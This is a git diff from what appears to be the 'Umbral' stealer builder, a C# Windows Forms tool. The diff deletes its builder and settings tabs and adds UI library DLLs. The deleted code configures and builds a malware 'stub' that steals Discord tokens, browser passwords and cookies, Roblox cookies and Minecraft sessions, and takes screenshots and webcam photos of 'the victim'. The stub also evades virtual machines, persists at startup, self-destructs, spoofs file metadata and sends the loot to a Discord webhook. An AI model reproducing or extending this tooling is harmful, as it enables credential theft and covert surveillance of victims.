Controls/BuilderTab.cs deleted file mode 100644 index 459cfa5..0000000 --- a/Umbral.builder/User Controls/BuilderTab.cs +++ /dev/null @@ -1,143 +0,0 @@ -using System; -using System.Windows.Forms; -using Umbral.builder.Build; - -namespace Umbral.builder.User_Controls -{ - public partial class BuilderTab : UserControl - { - - private const string BuildButtonEnabledPlaceHolder = "Build"; - private const string BuildButtonDisabledPlaceHolder = "Building..."; - private const string IconButtonDisabledPlaceHolder = "Selecting..."; - private const string IconButtonEnabledPlaceHolder = "Select Icon"; - private const string IconButtonSelectedPlaceHolder = "Unselect Icon"; - - private string _iconPath; - - public BuilderTab() - { - InitializeComponent(); - ToolTip tooltip = new ToolTip(); - - tooltip.SetToolTip(IconSelectButton, "Select icon for the stub."); - tooltip.SetToolTip(BuildButton, "Build the stub."); - } - - private void BuildButton_Click(object sender, EventArgs e) - { - Button buildButton = (Button)sender; - if (buildButton.Text.Equals(BuildButtonEnabledPlaceHolder)) - { - if (!(GeneralTab.StealTokens || GeneralTab.StealRobloxCookies || GeneralTab.StealCookies || - GeneralTab.StealPasswords || GeneralTab.StealMinecraftSession || GeneralTab.TakeScreenshot || GeneralTab.CaptureWebcam)) - { - MessageBox.Show("Enable at least one of the stealing targets!", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - return; - } - - if (GeneralTab.IsWebhookValid) - { - - SaveFileDialog saveFileDialog = new SaveFileDialog - { - AddExtension = true, - CheckPathExists = true, - FileName = "Umbral.exe", - Filter = "Executable File|*.exe" - }; - - if (saveFileDialog.ShowDialog().Equals(DialogResult.Cancel)) - return; - - BuildButton.Text = BuildButtonDisabledPlaceHolder; - Builder builder = new Builder - { - Output = saveFileDialog.FileName, - Webhook = GeneralTab.Webhook, - IconPath = _iconPath, - - Ping = GeneralTab.Ping, - Startup = GeneralTab.Startup, - AntiVm = GeneralTab.AntiVm, - StealTokens = GeneralTab.StealTokens, - StealPasswords = GeneralTab.StealPasswords, - StealCookies = GeneralTab.StealCookies, - StealRobloxCookies = GeneralTab.StealRobloxCookies, - StealMinecraftSession = GeneralTab.StealMinecraftSession, - CaptureScreenshot = GeneralTab.TakeScreenshot, - SelfDestruct = GeneralTab.SelfDestruct, - CaptureWebcam = GeneralTab.CaptureWebcam, - - AssemblyInformation = new AssemblyInfo - { - CompanyName = AssemblyTab.CompanyNameInfo, - AssemblyVersion = AssemblyTab.AssemblyVersionInfo, - FileDescription = AssemblyTab.FileDescriptionInfo, - FileVersion = AssemblyTab.FileVersionInfo, - InternalName = AssemblyTab.InternalNameInfo, - LegalCopyright = AssemblyTab.LegalCopyrightInfo, - LegalTrademarks = AssemblyTab.LegalTrademarksInfo, - OriginalFilename = AssemblyTab.OriginalFilenameInfo, - ProductName = AssemblyTab.ProductNameInfo, - ProductVersion = AssemblyTab.ProductVersionInfo - } - }; - - BuildButton.Text = BuildButtonEnabledPlaceHolder; - - if (builder.Build(OutputTextBox)) - MessageBox.Show("Build Success!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); - else - MessageBox.Show("Build Failed!", "Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); - } - else - { - MessageBox.Show("Check the webhook before building!", "Builder", MessageBoxButtons.OK, - MessageBoxIcon.Exclamation); - return; - } - } - - OutputTextBox.AppendText("\r\nReady..."); - } - - private void IconSelectButton_Click(object sender, EventArgs e) - { - Button iconButton = (Button)sender; - if (iconButton.Text.Equals(IconButtonEnabledPlaceHolder)) - { - OpenFileDialog openFileDialog = new OpenFileDialog - { - AddExtension = true, - CheckPathExists = true, - Filter = "Icon File|*.ico" - }; - - iconButton.Text = IconButtonDisabledPlaceHolder; - if (openFileDialog.ShowDialog().Equals(DialogResult.Cancel)) - { - iconButton.Text = IconButtonEnabledPlaceHolder; - return; - } - - _iconPath = openFileDialog.FileName; - iconButton.Text = IconButtonSelectedPlaceHolder; - OutputTextBox.AppendText("\r\nSelected icon."); - } - else if (iconButton.Text.Equals(IconButtonSelectedPlaceHolder)) - { - _iconPath = string.Empty; - iconButton.Text = IconButtonEnabledPlaceHolder; - OutputTextBox.AppendText("\r\nUnselected icon."); - } - } - - private void OutputTextBox_TextChanged(object sender, EventArgs e) - { - TextBox textBox = (TextBox)sender; - textBox.SelectionStart = textBox.Text.Length; - textBox.ScrollToCaret(); - } - } -} \ No newline at end of file diff --git a/Umbral.builder/User Controls/BuilderTab.resx b/Umbral.builder/User Controls/BuilderTab.resx deleted file mode 100644 index 021e7c2..0000000 --- a/Umbral.builder/User Controls/BuilderTab.resx +++ /dev/null @@ -1,125 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - \ No newline at end of file diff --git a/Umbral.builder/User Controls/GeneralTab.Designer.cs b/Umbral.builder/User Controls/GeneralTab.Designer.cs deleted file mode 100644 index aed20ca..0000000 --- a/Umbral.builder/User Controls/GeneralTab.Designer.cs +++ /dev/null @@ -1,277 +0,0 @@ -namespace Umbral.builder.User_Controls -{ - partial class GeneralTab - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.webhookLabel = new System.Windows.Forms.TextBox(); - this.WebhookCheckButton = new System.Windows.Forms.Button(); - this.PingCheckBox = new System.Windows.Forms.CheckBox(); - this.AntiVmCheckBox = new System.Windows.Forms.CheckBox(); - this.StartupCheckBox = new System.Windows.Forms.CheckBox(); - this.StealTokensCheckBox = new System.Windows.Forms.CheckBox(); - this.StealPasswordsCheckBox = new System.Windows.Forms.CheckBox(); - this.StealCookiesCheckBox = new System.Windows.Forms.CheckBox(); - this.StealRobloxCookiesCheckBox = new System.Windows.Forms.CheckBox(); - this.StealMinecraftSessionCheckBox = new System.Windows.Forms.CheckBox(); - this.label1 = new System.Windows.Forms.Label(); - this.TakeScreenshotCheckBox = new System.Windows.Forms.CheckBox(); - this.SelfDestructCheckBox = new System.Windows.Forms.CheckBox(); - this.CaptureWebcamCheckBox = new System.Windows.Forms.CheckBox(); - this.SuspendLayout(); - // - // webhookLabel - // - this.webhookLabel.AutoCompleteMode = System.Windows.Forms.AutoCompleteMode.Append; - this.webhookLabel.AutoCompleteSource = System.Windows.Forms.AutoCompleteSource.CustomSource; - this.webhookLabel.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(52)))), ((int)(((byte)(54)))), ((int)(((byte)(56))))); - this.webhookLabel.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.webhookLabel.ForeColor = System.Drawing.Color.Silver; - this.webhookLabel.Location = new System.Drawing.Point(24, 74); - this.webhookLabel.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.webhookLabel.MaxLength = 150; - this.webhookLabel.Name = "webhookLabel"; - this.webhookLabel.ScrollBars = System.Windows.Forms.ScrollBars.Horizontal; - this.webhookLabel.Size = new System.Drawing.Size(604, 24); - this.webhookLabel.TabIndex = 0; - this.webhookLabel.TextChanged += new System.EventHandler(this.webhookLabel_TextChanged); - this.webhookLabel.Enter += new System.EventHandler(this.webhookLabel_Enter); - this.webhookLabel.Leave += new System.EventHandler(this.webhookLabel_Leave); - // - // WebhookCheckButton - // - this.WebhookCheckButton.FlatAppearance.BorderColor = System.Drawing.Color.White; - this.WebhookCheckButton.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.WebhookCheckButton.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.WebhookCheckButton.ForeColor = System.Drawing.Color.White; - this.WebhookCheckButton.Location = new System.Drawing.Point(512, 105); - this.WebhookCheckButton.Name = "WebhookCheckButton"; - this.WebhookCheckButton.Size = new System.Drawing.Size(116, 31); - this.WebhookCheckButton.TabIndex = 1; - this.WebhookCheckButton.Text = "Check Webhook"; - this.WebhookCheckButton.UseVisualStyleBackColor = true; - this.WebhookCheckButton.Click += new System.EventHandler(this.WebhookCheckButton_Click); - // - // PingCheckBox - // - this.PingCheckBox.AutoSize = true; - this.PingCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.PingCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.PingCheckBox.Location = new System.Drawing.Point(24, 223); - this.PingCheckBox.Name = "PingCheckBox"; - this.PingCheckBox.Size = new System.Drawing.Size(56, 22); - this.PingCheckBox.TabIndex = 2; - this.PingCheckBox.Text = "Ping"; - this.PingCheckBox.UseVisualStyleBackColor = true; - this.PingCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // AntiVmCheckBox - // - this.AntiVmCheckBox.AutoSize = true; - this.AntiVmCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.AntiVmCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.AntiVmCheckBox.Location = new System.Drawing.Point(24, 262); - this.AntiVmCheckBox.Name = "AntiVmCheckBox"; - this.AntiVmCheckBox.Size = new System.Drawing.Size(77, 22); - this.AntiVmCheckBox.TabIndex = 3; - this.AntiVmCheckBox.Text = "Anti VM"; - this.AntiVmCheckBox.UseVisualStyleBackColor = true; - this.AntiVmCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // StartupCheckBox - // - this.StartupCheckBox.AutoSize = true; - this.StartupCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.StartupCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.StartupCheckBox.Location = new System.Drawing.Point(24, 301); - this.StartupCheckBox.Name = "StartupCheckBox"; - this.StartupCheckBox.Size = new System.Drawing.Size(74, 22); - this.StartupCheckBox.TabIndex = 4; - this.StartupCheckBox.Text = "Startup"; - this.StartupCheckBox.UseVisualStyleBackColor = true; - this.StartupCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // StealTokensCheckBox - // - this.StealTokensCheckBox.AutoSize = true; - this.StealTokensCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.StealTokensCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.StealTokensCheckBox.Location = new System.Drawing.Point(201, 200); - this.StealTokensCheckBox.Name = "StealTokensCheckBox"; - this.StealTokensCheckBox.Size = new System.Drawing.Size(114, 22); - this.StealTokensCheckBox.TabIndex = 5; - this.StealTokensCheckBox.Text = "Steal Tokens"; - this.StealTokensCheckBox.UseVisualStyleBackColor = true; - this.StealTokensCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // StealPasswordsCheckBox - // - this.StealPasswordsCheckBox.AutoSize = true; - this.StealPasswordsCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.StealPasswordsCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.StealPasswordsCheckBox.Location = new System.Drawing.Point(201, 228); - this.StealPasswordsCheckBox.Name = "StealPasswordsCheckBox"; - this.StealPasswordsCheckBox.Size = new System.Drawing.Size(139, 22); - this.StealPasswordsCheckBox.TabIndex = 6; - this.StealPasswordsCheckBox.Text = "Steal Passwords"; - this.StealPasswordsCheckBox.UseVisualStyleBackColor = true; - this.StealPasswordsCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // StealCookiesCheckBox - // - this.StealCookiesCheckBox.AutoSize = true; - this.StealCookiesCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.StealCookiesCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.StealCookiesCheckBox.Location = new System.Drawing.Point(201, 256); - this.StealCookiesCheckBox.Name = "StealCookiesCheckBox"; - this.StealCookiesCheckBox.Size = new System.Drawing.Size(120, 22); - this.StealCookiesCheckBox.TabIndex = 7; - this.StealCookiesCheckBox.Text = "Steal Cookies"; - this.StealCookiesCheckBox.UseVisualStyleBackColor = true; - this.StealCookiesCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // StealRobloxCookiesCheckBox - // - this.StealRobloxCookiesCheckBox.AutoSize = true; - this.StealRobloxCookiesCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.StealRobloxCookiesCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.StealRobloxCookiesCheckBox.Location = new System.Drawing.Point(201, 284); - this.StealRobloxCookiesCheckBox.Name = "StealRobloxCookiesCheckBox"; - this.StealRobloxCookiesCheckBox.Size = new System.Drawing.Size(171, 22); - this.StealRobloxCookiesCheckBox.TabIndex = 8; - this.StealRobloxCookiesCheckBox.Text = "Steal Roblox Cookies"; - this.StealRobloxCookiesCheckBox.UseVisualStyleBackColor = true; - this.StealRobloxCookiesCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // StealMinecraftSessionCheckBox - // - this.StealMinecraftSessionCheckBox.AutoSize = true; - this.StealMinecraftSessionCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.StealMinecraftSessionCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.StealMinecraftSessionCheckBox.Location = new System.Drawing.Point(201, 312); - this.StealMinecraftSessionCheckBox.Name = "StealMinecraftSessionCheckBox"; - this.StealMinecraftSessionCheckBox.Size = new System.Drawing.Size(183, 22); - this.StealMinecraftSessionCheckBox.TabIndex = 9; - this.StealMinecraftSessionCheckBox.Text = "Steal Minecraft Session"; - this.StealMinecraftSessionCheckBox.UseVisualStyleBackColor = true; - this.StealMinecraftSessionCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // label1 - // - this.label1.BackColor = System.Drawing.Color.White; - this.label1.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.label1.ForeColor = System.Drawing.SystemColors.Control; - this.label1.Location = new System.Drawing.Point(162, 180); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(1, 225); - this.label1.TabIndex = 10; - // - // TakeScreenshotCheckBox - // - this.TakeScreenshotCheckBox.AutoSize = true; - this.TakeScreenshotCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.TakeScreenshotCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.TakeScreenshotCheckBox.Location = new System.Drawing.Point(201, 340); - this.TakeScreenshotCheckBox.Name = "TakeScreenshotCheckBox"; - this.TakeScreenshotCheckBox.Size = new System.Drawing.Size(140, 22); - this.TakeScreenshotCheckBox.TabIndex = 11; - this.TakeScreenshotCheckBox.Text = "Take Screenshot"; - this.TakeScreenshotCheckBox.UseVisualStyleBackColor = true; - this.TakeScreenshotCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // SelfDestructCheckBox - // - this.SelfDestructCheckBox.AutoSize = true; - this.SelfDestructCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.SelfDestructCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.SelfDestructCheckBox.Location = new System.Drawing.Point(24, 340); - this.SelfDestructCheckBox.Name = "SelfDestructCheckBox"; - this.SelfDestructCheckBox.Size = new System.Drawing.Size(112, 22); - this.SelfDestructCheckBox.TabIndex = 12; - this.SelfDestructCheckBox.Text = "Self Destruct"; - this.SelfDestructCheckBox.UseVisualStyleBackColor = true; - this.SelfDestructCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // CaptureWebcamCheckBox - // - this.CaptureWebcamCheckBox.AutoSize = true; - this.CaptureWebcamCheckBox.Font = new System.Drawing.Font("Microsoft Sans Serif", 11.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CaptureWebcamCheckBox.ForeColor = System.Drawing.SystemColors.Control; - this.CaptureWebcamCheckBox.Location = new System.Drawing.Point(201, 368); - this.CaptureWebcamCheckBox.Name = "CaptureWebcamCheckBox"; - this.CaptureWebcamCheckBox.Size = new System.Drawing.Size(143, 22); - this.CaptureWebcamCheckBox.TabIndex = 13; - this.CaptureWebcamCheckBox.Text = "Capture Webcam"; - this.CaptureWebcamCheckBox.UseVisualStyleBackColor = true; - this.CaptureWebcamCheckBox.CheckedChanged += new System.EventHandler(this.CheckBox_CheckChanged); - // - // GeneralTab - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - this.Controls.Add(this.CaptureWebcamCheckBox); - this.Controls.Add(this.SelfDestructCheckBox); - this.Controls.Add(this.TakeScreenshotCheckBox); - this.Controls.Add(this.label1); - this.Controls.Add(this.StealMinecraftSessionCheckBox); - this.Controls.Add(this.StealRobloxCookiesCheckBox); - this.Controls.Add(this.StealCookiesCheckBox); - this.Controls.Add(this.StealPasswordsCheckBox); - this.Controls.Add(this.StealTokensCheckBox); - this.Controls.Add(this.StartupCheckBox); - this.Controls.Add(this.AntiVmCheckBox); - this.Controls.Add(this.PingCheckBox); - this.Controls.Add(this.WebhookCheckButton); - this.Controls.Add(this.webhookLabel); - this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4); - this.Name = "GeneralTab"; - this.Size = new System.Drawing.Size(668, 477); - this.Load += new System.EventHandler(this.GeneralTab_Load); - this.ResumeLayout(false); - this.PerformLayout(); - - } - - #endregion - - private System.Windows.Forms.TextBox webhookLabel; - private System.Windows.Forms.Button WebhookCheckButton; - private System.Windows.Forms.CheckBox AntiVmCheckBox; - private System.Windows.Forms.CheckBox StartupCheckBox; - private System.Windows.Forms.CheckBox StealTokensCheckBox; - private System.Windows.Forms.CheckBox StealPasswordsCheckBox; - private System.Windows.Forms.CheckBox StealCookiesCheckBox; - private System.Windows.Forms.CheckBox StealRobloxCookiesCheckBox; - private System.Windows.Forms.CheckBox StealMinecraftSessionCheckBox; - private System.Windows.Forms.CheckBox PingCheckBox; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.CheckBox TakeScreenshotCheckBox; - private System.Windows.Forms.CheckBox SelfDestructCheckBox; - private System.Windows.Forms.CheckBox CaptureWebcamCheckBox; - } -} diff --git a/Umbral.builder/User Controls/GeneralTab.cs b/Umbral.builder/User Controls/GeneralTab.cs deleted file mode 100644 index 5ad2136..0000000 --- a/Umbral.builder/User Controls/GeneralTab.cs +++ /dev/null @@ -1,153 +0,0 @@ -using System; -using System.Drawing; -using System.Net.Http; -using System.Windows.Forms; - -namespace Umbral.builder.User_Controls -{ - public partial class GeneralTab : UserControl - { - - private const string WebhookPlaceholder = "https://discord.com/api/webhooks/1234567890/abcdefhgijklmnopqrstuvwxyz"; - private const string WebhookCheckButtonPlaceHolderEnabled = "Check Webhook"; - private const string WebhookCheckButtonPlaceHolderDisabled = "Checking..."; - - public static bool IsWebhookValid; - public static string Webhook; - - public static bool Ping; - public static bool AntiVm; - public static bool Startup; - public static bool StealTokens; - public static bool StealPasswords; - public static bool StealCookies; - public static bool StealRobloxCookies; - public static bool StealMinecraftSession; - public static bool TakeScreenshot; - public static bool SelfDestruct; - public static bool CaptureWebcam; - - public GeneralTab() - { - InitializeComponent(); - ToolTip tooltip = new ToolTip(); - tooltip.SetToolTip(WebhookCheckButton, "Checks if webhook is working or not."); - - tooltip.SetToolTip(PingCheckBox, "Pings @everyone when sending victim's info."); - tooltip.SetToolTip(AntiVmCheckBox, "Prevents the stub from running in a virtual machine."); - tooltip.SetToolTip(StartupCheckBox, "Launches the stub on windows startup."); - - tooltip.SetToolTip(StealTokensCheckBox, "Steals Discord tokens."); - tooltip.SetToolTip(StealPasswordsCheckBox, "Steals passwords from browsers."); - tooltip.SetToolTip(StealCookiesCheckBox, "Steals cookies from browsers."); - tooltip.SetToolTip(StealRobloxCookiesCheckBox, "Steals Roblox cookies."); - tooltip.SetToolTip(StealMinecraftSessionCheckBox, "Steals Minecraft session file."); - tooltip.SetToolTip(TakeScreenshotCheckBox, "Takes screenshot of the victim's machine."); - tooltip.SetToolTip(SelfDestructCheckBox, "Deletes the stub when ran."); - tooltip.SetToolTip(CaptureWebcamCheckBox, "Captures photos from victim's webcam."); - } - - private void webhookLabel_Leave(object sender, EventArgs e) - { - if (string.IsNullOrWhiteSpace(webhookLabel.Text)) - { - webhookLabel.Text = WebhookPlaceholder; - webhookLabel.ForeColor = Color.Silver; - } - } - - private void webhookLabel_Enter(object sender, EventArgs e) - { - if (webhookLabel.Text == WebhookPlaceholder) - { - webhookLabel.Text = string.Empty; - webhookLabel.ForeColor = SystemColors.Control; - } - } - - private void GeneralTab_Load(object sender, EventArgs e) - { - webhookLabel.Text = WebhookPlaceholder; - webhookLabel.ForeColor = Color.Silver; - } - - private async void WebhookCheckButton_Click(object sender, EventArgs e) - { - if (((Button)sender).Text == WebhookCheckButtonPlaceHolderDisabled) - return; - - ((Button)sender).Text = WebhookCheckButtonPlaceHolderDisabled; - if ((webhookLabel.Text.StartsWith("https://") || webhookLabel.Text.StartsWith("http://")) && webhookLabel.Text.Contains("discord") && - webhookLabel.Text.Contains("api/webhooks") && !webhookLabel.Text.Contains(" ") && !webhookLabel.Text.Equals(WebhookPlaceholder)) - { - try - { - using (HttpClient client = new HttpClient { Timeout = TimeSpan.FromSeconds(5.0) }) - { - HttpResponseMessage response = await client.GetAsync(webhookLabel.Text); - response.EnsureSuccessStatusCode(); - } - - ((Button)sender).Text = WebhookCheckButtonPlaceHolderEnabled; - MessageBox.Show("Webhook seems to be working!", "Webhook Status", MessageBoxButtons.OK, - MessageBoxIcon.Information); - IsWebhookValid = true; - Webhook = webhookLabel.Text; - } - catch - { - ((Button)sender).Text = WebhookCheckButtonPlaceHolderEnabled; - MessageBox.Show("Unable to connect to the webhook", "Webhook Status", MessageBoxButtons.OK, - MessageBoxIcon.Error); - } - } - else - { - ((Button)sender).Text = WebhookCheckButtonPlaceHolderEnabled; - MessageBox.Show("Invalid Webhook!", "Webhook Status", MessageBoxButtons.OK, MessageBoxIcon.Error); - } - } - - private void CheckBox_CheckChanged(object sender, EventArgs e) - { - CheckBox checkBox = (CheckBox)sender; - - if (checkBox.Checked) - { - checkBox.ForeColor = Color.Cyan; - } - else - { - checkBox.ForeColor = Color.White; - } - - if (checkBox.Equals(PingCheckBox)) - Ping = checkBox.Checked; - else if (checkBox.Equals(StartupCheckBox)) - Startup = checkBox.Checked; - else if (checkBox.Equals(AntiVmCheckBox)) - AntiVm = checkBox.Checked; - else if (checkBox.Equals(StealTokensCheckBox)) - StealTokens = checkBox.Checked; - else if (checkBox.Equals(StealPasswordsCheckBox)) - StealPasswords = checkBox.Checked; - else if (checkBox.Equals(StealCookiesCheckBox)) - StealCookies = checkBox.Checked; - else if (checkBox.Equals(StealRobloxCookiesCheckBox)) - StealRobloxCookies = checkBox.Checked; - else if (checkBox.Equals(StealMinecraftSessionCheckBox)) - StealMinecraftSession = checkBox.Checked; - else if (checkBox.Equals(TakeScreenshotCheckBox)) - TakeScreenshot = checkBox.Checked; - else if (checkBox.Equals(SelfDestructCheckBox)) - SelfDestruct = checkBox.Checked; - else if (checkBox.Equals(CaptureWebcamCheckBox)) - CaptureWebcam = checkBox.Checked; - } - - private void webhookLabel_TextChanged(object sender, EventArgs e) - { - IsWebhookValid = false; - } - } -} \ No newline at end of file diff --git a/Umbral.builder/User Controls/GeneralTab.resx b/Umbral.builder/User Controls/GeneralTab.resx deleted file mode 100644 index 021e7c2..0000000 --- a/Umbral.builder/User Controls/GeneralTab.resx +++ /dev/null @@ -1,125 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, - PublicKeyToken=b77a5c561934e089 - - - \ No newline at end of file diff --git a/Umbral.builder/User Controls/Soon.Designer.cs b/Umbral.builder/User Controls/Soon.Designer.cs deleted file mode 100644 index 7457191..0000000 --- a/Umbral.builder/User Controls/Soon.Designer.cs +++ /dev/null @@ -1,62 +0,0 @@ -namespace Umbral.builder.User_Controls -{ - partial class Soon - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.label1 = new System.Windows.Forms.Label(); - this.SuspendLayout(); - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 72F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.SystemColors.Control; - this.label1.Location = new System.Drawing.Point(135, 167); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(416, 108); - this.label1.TabIndex = 1; - this.label1.Text = "SOON..."; - // - // Soon - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(31)))), ((int)(((byte)(31)))), ((int)(((byte)(31))))); - this.Controls.Add(this.label1); - this.Name = "Soon"; - this.Size = new System.Drawing.Size(667, 477); - this.ResumeLayout(false); - this.PerformLayout(); - } - - #endregion - - private System.Windows.Forms.Label label1; - } -} diff --git a/Umbral.builder/User Controls/Soon.cs b/Umbral.builder/User Controls/Soon.cs deleted file mode 100644 index 36e99fd..0000000 --- a/Umbral.builder/User Controls/Soon.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Windows.Forms; - -namespace Umbral.builder.User_Controls -{ - public partial class Soon : UserControl - { - - public Soon() - { - InitializeComponent(); - } - } -} \ No newline at end of file diff --git a/Umbral.builder/User Controls/Soon.resx b/Umbral.builder/User Controls/Soon.resx deleted file mode 100644 index 29dcb1b..0000000 --- a/Umbral.builder/User Controls/Soon.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Umbral.builder/libs/Bunifu/Bunifu.Licensing.dll b/Umbral.builder/libs/Bunifu/Bunifu.Licensing.dll new file mode 100644 index 0000000..651fc48 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.Licensing.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.1.5.3.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.1.5.3.dll new file mode 100644 index 0000000..aee79f0 Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.1.5.3.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuButton.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuButton.dll new file mode 100644 index 0000000..81b455f Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuButton.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuCheckBox.dll b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuCheckBox.dll new file mode 100644 index 0000000..84bef1b Binary files /dev/null and b/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuCheckBox.dll differ diff --git a/Umbral.builder/libs/Bunifu/Bunifu.UI.WinForms.BunifuCircleProgress.dll 